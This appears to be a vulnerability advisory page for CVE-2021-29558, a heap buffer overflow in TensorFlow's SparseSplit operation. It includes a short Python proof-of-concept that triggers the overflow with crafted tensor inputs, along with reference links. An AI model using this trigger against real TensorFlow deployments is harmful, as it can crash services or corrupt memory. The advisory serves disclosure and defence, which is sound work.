CVE-2021-29558: Heap buffer overflow in `SparseSplit`
(updated )
An attacker can cause a heap buffer overflow in tf.raw_ops.SparseSplit:
import tensorflow as tf
shape_dims = tf.constant(0, dtype=tf.int64)
indices = tf.ones([1, 1], dtype=tf.int64)
values = tf.ones([1], dtype=tf.int64)
shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSplit(
split_dim=shape_dims, indices=indices, values=values,
shape=shape, num_split=1)
References
- github.com/advisories/GHSA-mqh2-9wrp-vx84
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-486.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-684.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-195.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31
- github.com/tensorflow/tensorflow/security/advisories/GHSA-mqh2-9wrp-vx84
- nvd.nist.gov/vuln/detail/CVE-2021-29558
Detect and mitigate CVE-2021-29558 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →